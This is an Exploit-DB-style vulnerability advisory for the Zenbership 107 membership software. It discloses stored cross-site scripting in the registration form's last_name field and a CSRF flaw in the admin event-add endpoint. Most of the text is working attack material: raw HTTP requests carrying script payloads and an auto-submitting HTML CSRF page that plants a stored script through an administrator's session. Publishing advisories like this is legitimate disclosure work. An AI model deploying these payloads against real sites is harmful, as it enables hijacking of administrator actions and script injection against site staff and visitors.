Zenbership 107 - Multiple Vulnerabilities

EDB-ID:

40620

CVE:

N/A


Author:

Besim

Type:

webapps


Platform:

PHP

Date:

2016-10-23


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1. ADVISORY INFORMATION
========================================
Title: Zenbership (latest version) - Multiple Vulnerabilities
Application: Zenbership
Class: Sensitive Information disclosure
Versions Affected:  <= latest version )
Vendor URL: https://www.zenbership.com/
Software URL: https://www.zenbership.com/Download
Bugs:  CSRF / Persistent Cross Site Scripting
Date of found:  23.10.2016
Author: Besim
 
 
2.CREDIT
========================================
Those vulnerabilities was identified by Besim ALTINOK  and Mrs. Meryem AKDOĞAN

 
3. VERSIONS AFFECTED
========================================
 <= latest version
 

 
4. TECHNICAL DETAILS & POC
========================================
 

PR1 - Stored Cross Site Scripting
========================================

1 ) Admin login admin panel
2 ) Create contact form for guest (http://site_name/path/register.php?action=reset&id=3c035c2)
3 ) Attacker enter xss payload to last name input
4 ) XSS Payload run when admin looked contact page (http://site_name/path/admin/index.php?l=contacts)
5 ) Vulnerability Parameter and Payload : &last_name=<Script>alert('ExploitDB')</Script>

## HTTP Request ##

POST /zenbership/pp-functions/form_process.php HTTP/1.1
Host: site_name
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site_name/zenbership/register.php?action=reset&id=3c035c2
Cookie: phpwcmsBELang=en; PHPSESSID=8jvb8kr06gorp07f62hqta9go5; browserupdateorg=pause; __utma=1.252344004.1477173994.1477173994.1477206731.2; __utmc=1; __utmz=1.1477173994.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); zenseshold=2bdeaefcdc97966f9d8df00752a5cefd; zen_admin_ses=b2d51bb8f8b895f751dee72db8889bce-470476f3e9d2b2b0d3465b82ce6cd889-7ecb9b7770668e2ecd0a049b60576e44; zen_cart=WJL-1484545251; zen_0176e737b450bbd83f5fc1066=253782
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 153

 - POST DATA

page=1
&session=zen_0176e737b450bbd83f5fc1066
&first_name=Besim
&last_name=<Script>alert('ExploitDB')</Script>
&email=exploit@yopmail.com


PR2 - CSRF
========================================

1 ) Attacker can add new event with xss payload (stored)
 - File : admin/cp-functions/event-add.php

HTTP Request and CSRF PoC
=========================


## HTTP Request ##

POST /zenbership/admin/cp-functions/event-add.php HTTP/1.1
Host: site_name
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://site_name/zenbership/admin/index.php?l=events
Content-Length: 1206
Cookie: phpwcmsBELang=en; PHPSESSID=8jvb8kr06gorp07f62hqta9go5; browserupdateorg=pause; __utma=1.252344004.1477173994.1477173994.1477206731.2; __utmc=1; __utmz=1.1477173994.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); zenseshold=2bdeaefcdc97966f9d8df00752a5cefd; zen_cart=LKQ-4724862238; zen_admin_ses=b2d51bb8f8b895f751dee72db8889bce-470476f3e9d2b2b0d3465b82ce6cd889-7ecb9b7770668e2ecd0a049b60576e44
Connection: close


 - POST DATA


id=JFW996951
&ext=
&edit=0
&event[id]=JFW996951&event[status]=1
&event[name]=<Script>alert('Meryem-ExploitDB');</Script>
&event[tagline]=Meryem&event[description]=<p>Meryem AKDOGAN</p>
&event[post_rsvp_message]=<p>Meryem AKDOGAN</p>
&event[calendar_id]=1
&event[custom_template]=
&tags=
&event[starts]=2016-10-26 00:00:00
&event[ends]=2016-10-28 00:00:00
&event[start_registrations]=2016-10-24 00:00:00
&event[close_registration]=&event[early_bird_end]=
&event[online]=0&event[location_name]=Turkey
&event[url]=&event[address_line_1]=
&event[address_line_2]=&event[city]=
&event[state]=&event[zip]=
&event[country]=
&event[phone]=
&limit_attendees_dud=0
&event[max_rsvps]=
&event[members_only_view]=0
&event[members_only_rsvp]=0
&event[allow_guests]=1
&event[max_guests]=1
&form[col2][Account Overview]=section
&form[col2][company_name]=1
&form[col2][address_line_1]=0
&form[col2][address_line_2]=0
&form[col2][city]=0
&form[col2][state]=0
&form[col2][zip]=0
&form[col2][country]=0
&form[col2][url]=0



## CSRF PoC ##

<html>
  <!-- CSRF PoC -->
  <body>
    <form action="http://site_name/path/admin/cp-functions/event-add.php" method="POST">
      <input type="hidden" name="id" value="OXH978786" />
      <input type="hidden" name="ext" value="" />
      <input type="hidden" name="edit" value="0" />
      <input type="hidden" name="event&#91;id&#93;" value="OXH978786" />
      <input type="hidden" name="event&#91;status&#93;" value="1" />
      <input type="hidden" name="event&#91;name&#93;" value="<script>alert&#40;&apos;Meryem&#45;ExploitDB&apos;&#41;&#59;<&#47;Script>" />
      <input type="hidden" name="event&#91;tagline&#93;" value="meryem" />
      <input type="hidden" name="event&#91;description&#93;" value="<p>Meryem&#32;AKDOGAN<&#47;p>&#13;&#10;" />
      <input type="hidden" name="event&#91;post&#95;rsvp&#95;message&#93;" value="<p>Meryem&#32;AKDOGAN<&#47;p>&#13;&#10;" />
      <input type="hidden" name="event&#91;calendar&#95;id&#93;" value="1" />
      <input type="hidden" name="event&#91;custom&#95;template&#93;" value="" />
      <input type="hidden" name="tags" value="meryem" />
      <input type="hidden" name="event&#91;starts&#93;" value="2016&#45;10&#45;26&#32;00&#58;00&#58;00" />
      <input type="hidden" name="event&#91;ends&#93;" value="2016&#45;10&#45;28&#32;00&#58;00&#58;00" />
      <input type="hidden" name="event&#91;start&#95;registrations&#93;" value="2016&#45;10&#45;24&#32;00&#58;00&#58;00" />
      <input type="hidden" name="event&#91;close&#95;registration&#93;" value="" />
      <input type="hidden" name="event&#91;early&#95;bird&#95;end&#93;" value="" />
      <input type="hidden" name="event&#91;online&#93;" value="0" />
      <input type="hidden" name="event&#91;location&#95;name&#93;" value="Turkey" />
      <input type="hidden" name="event&#91;url&#93;" value="" />
      <input type="hidden" name="event&#91;address&#95;line&#95;1&#93;" value="" />
      <input type="hidden" name="event&#91;address&#95;line&#95;2&#93;" value="" />
      <input type="hidden" name="event&#91;city&#93;" value="" />
      <input type="hidden" name="event&#91;state&#93;" value="" />
      <input type="hidden" name="event&#91;zip&#93;" value="" />
      <input type="hidden" name="event&#91;country&#93;" value="" />
      <input type="hidden" name="event&#91;phone&#93;" value="" />
      <input type="hidden" name="limit&#95;attendees&#95;dud" value="0" />
      <input type="hidden" name="event&#91;max&#95;rsvps&#93;" value="" />
      <input type="hidden" name="event&#91;members&#95;only&#95;view&#93;" value="0" />
      <input type="hidden" name="event&#91;members&#95;only&#95;rsvp&#93;" value="0" />
      <input type="hidden" name="event&#91;allow&#95;guests&#93;" value="1" />
      <input type="hidden" name="event&#91;max&#95;guests&#93;" value="1" />
      <input type="hidden" name="form&#91;col2&#93;&#91;Account&#32;Overview&#93;" value="section" />
      <input type="hidden" name="form&#91;col2&#93;&#91;company&#95;name&#93;" value="1" />
      <input type="hidden" name="form&#91;col2&#93;&#91;address&#95;line&#95;1&#93;" value="0" />
      <input type="hidden" name="form&#91;col2&#93;&#91;address&#95;line&#95;2&#93;" value="0" />
      <input type="hidden" name="form&#91;col2&#93;&#91;city&#93;" value="0" />
      <input type="hidden" name="form&#91;col2&#93;&#91;state&#93;" value="0" />
      <input type="hidden" name="form&#91;col2&#93;&#91;zip&#93;" value="0" />
      <input type="hidden" name="form&#91;col2&#93;&#91;country&#93;" value="0" />
      <input type="hidden" name="form&#91;col2&#93;&#91;url&#93;" value="0" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>